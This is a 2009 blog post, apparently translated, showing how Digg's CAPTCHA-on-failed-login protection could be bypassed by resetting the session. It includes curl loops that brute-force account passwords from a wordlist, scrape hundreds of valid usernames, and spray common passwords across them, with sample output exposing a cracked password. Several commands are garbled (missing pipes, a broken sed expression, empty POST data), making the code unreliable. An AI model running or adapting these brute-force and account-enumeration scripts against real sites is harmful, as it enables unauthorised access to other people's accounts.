23 abril 2009

Applying Spartans Brute Force Against Digg

Last week lot of media talked about a new captcha method proposed by Google, a new way of image generation.

Because of this method, OCR attacks against method could be disabled and more comfortable for the users to submit the string which appeared, in computers or mobile devices too.

In the middle of the research of something related about this topic, I detected several errors in some websites which we will check eventually.

CAPTCHA was created to avoid automation, for example preventing spam robots to post comments on a blog or to protect a web login process for brute force attacks.

As my grandmother used to say: "You will be always good at something, even if it is for a bad purpose", so this time, the winner is Digg.com.

This well-known social news website show us a captcha on the fourth failed login attempted, so with this system it should prevent that a hell-script could brute-force the webform trying to guess the account password.

Digg counts these attempts only based in session, which is regenerated if it doesn't exist.

The process would be as follows:

  1. I submit user and password through a POST request.
  2. A session is created and the server responses a 302 (HTTP redirection method) to other page which checks if the session is correct or not based on the user and password submitted.
  3. If the password is correct, everything is ok, if not it takes me to the login page with an error and the same session with one failed attempt.
  4. 4. I kill the session (and with this, the counter will reset) and i submit again the user and password, and this takes me again to the first step. So with this, the captcha won't be shown to us because the failed attempted login count won't be never more than one.

We will use curl to automate these steps:
for i in `cat wordlist.txt`; do
echo -n $i; curl -c digg.txt -s -L -D - -d
'http://digg.com/login/prepare/digg' | grep -Ei "D.meta.user.loggedIn|incorrect";
wordlist.txt has a list of words.

This script will output something like this:

eryyyert <div><h3>Your Username or Password was incorrect</h3></div>
rtwertw <div><h3>Your Username or Password was incorrect</h3>< div>
dsfhdhcnh <div><h3>Your Username or Password was incorrect</h3><div>
fdgsdfghsj <div><h3>Your Username or Password was incorrect</h3><div>
dfgdsfgdfg <div><h3>Your Username or Password was incorrect</h3><div>
aaaaaaa <div><h3>Your Username or Password was incorrect</h3></div>
Cochecito D.meta.user.loggedIn = "usuario";
adfsdf <div><h3>Your Username or Password was incorrect</h3></div>
asdffffff <div><h3>Your Username or Password was incorrect</h3></div>
The first string is the word we tested as password. "Cochecito" is the password of the user tested, the rest....incorrect

Maybe Interpol will knock our door before we get the wanted password, but the weakness of this validation process is proved.

Checking again this previous entry posted months ago and with some tweaks, i have discovered that both of sites share mostly the same weaknesses, for example the one about credentials through http instead of https, or that it's possible to obtain a list with valid usernames. So let's play again a bit more...

Firstly, we will fetch with a script a list containing valid usernames:

for i in `seq 2 245`; do
curl -s
http://digg.com/page$i| tr '<' '\n'|grep 'href="/users/' sed -e 's.*/\(.*\)\">\1g'
done| sort |uniq >lista.digg
Welcome to 700 or 800 valid usernames (lista.digg) . Now, ladies and gentlemen, let's bring Google to the scene:
site:digg.com inurl:/users/

What about trying the most common passwords? 123456, password, qwerty, liverpool ....

for i in `cat lista.digg`; do echo -n $i; curl -c digg.txt -s -L -D - -d
'http://digg.com/login/prepare/digg'| grep -Ei "D.meta.user.loggedInincorrect";
done |tee -a pass.txt
We don't get a lot of them, but it' more than nothing
[aramosf@sbd ~]$ grep logged pass.txt wc -l


Anónimo dijo...

Gran traducción Jose Alfredo!

Maligno dijo...

Esta muy, muy, muy curioso.